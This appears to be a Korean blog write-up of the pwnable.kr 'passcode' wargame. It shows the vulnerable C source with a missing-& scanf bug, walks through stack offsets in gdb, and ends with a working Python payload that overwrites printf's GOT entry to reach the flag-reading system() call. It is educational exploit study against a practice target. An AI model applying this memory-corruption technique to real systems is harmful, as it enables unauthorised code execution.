1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } | cs |
코드는 이렇다.
여기서 문제가 생기는 점은 scanf로 passcode와 passcode2를 입력받을때 &를 안써줬다는 점이다.
배열에선 &을 쓰지 않아도 그 배열 자체에서 해당주소값을 가리키기 때문에 상관이 없지만 int는 다르다.
&을 써서 해당 변수의 주소를 scanf에 써줘야하는데 안써줬기 때문에 warning이 뜬다.
gdb로 분석 한 뒤에 간략하게 중요한것만 골라서 정리했다.
welcome 함수에서 중요 어셈만 보면 아래와 같다.
push ebp
mov ebp, esp
lea edx, [ebp-0x70]
leave
ret
일단 함수 프롤로그와 에필로그가 있고 scanf name 인자로 ebp-0x70 부터 받는다.
즉 만약에 현재 ebp가 200이라고 가정한다면 88~187 딱 188 전까지 입력받는 셈이다.
이제 login 함수에서 중요한 부분만 보면
push ebp
mov ebp, esp
edx, DWORD PTR [ebp-0x10] - passcode1 인자 주소 ebp-0x10
call 0x8048420 <printf@plt> 입력받은 후 출력하는 부분
edx, DWORD PTR [ebp-0xc] - passcode1 인자 주소 ebp-0xc
leave
ret
첫번째 passcode1를 입력받는 주소 ebp-0x10이 주요인물이다.
위에서 설명했듯이 welcome 함수에서 ebp를 200으로 가정했다.
그렇다면 입력 문자열 100개는 88~187 주소에 저장되어 있고, leave ret을 하는데
leave에서 pop 한번 ret 에서 pop 한번 한다.
그러면 esp는 +8 되므로 208.
ret 되고 함수를 call하는데 이때 이유는 모르겠지만 esp가 -4 된다.
login 함수를 콜하고 프롤로그 부분에서 push ebp를 하는데 여기서 또 -4 되므로 esp는 200.
mov ebp, esp에서 200를 ebp로 옮기고 ebp-0x10 주소에다가 passcode1를 입력받는데
200-0x10 은 184 즉 name 에서 넣었던 97번째~100번째 값이 저장되어 있는 주소다.
97번째~100번째 4byte 값을 주소로 넣고 여기다가 %d로 정수값을 넣게되는데 여기서 공격하면 될 것같다.
passcode1를 입력받고 다음에 printf 함수가 호출되는데 이때 printf got 주소를 구해 97~100번째 값에다가 printf got 주소를 넣고 system("/bin/cat flag") 가 있는 코드영역 주소를 넣으면 printf 가 호출될때 printf_got 에 넣었던 시스템 코드영역 주소로 jmp하기 때문에 flag를 얻을 수 있다.
위 내용을 scanf로 표현하자면 이런 느낌이다. scanf("%d", &(printf_got)) <- system("/bin/cat flag") 코드영역 주소
payload
printf_got = 0x804a000
system("/bin/cat flag") 코드영역 주소 = 0x80485E3 -> %d로 받기 때문에 10진수로 입력해줘야 한다. (134514147)
(python -c 'print "A"*96 + "\x00\xa0\x04\x08" + "134514147") | ./passcode
1 2 3 4 5 | passcode@ubuntu:~$ (python -c 'print "A"*96 + "\x00\xa0\x04\x08" + "134514147"') | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :) | cs |
'Wargame > ▷ pwnable.kr' 카테고리의 다른 글
[pwnable.kr] Dragon (0) | 2018.07.08 |
---|---|
[pwnable.kr] simple login (0) | 2018.07.08 |
[pwnable.kr] flag (0) | 2018.01.31 |
[pwnable.kr] bof (0) | 2018.01.31 |
[pwnable.kr] collision (0) | 2018.01.31 |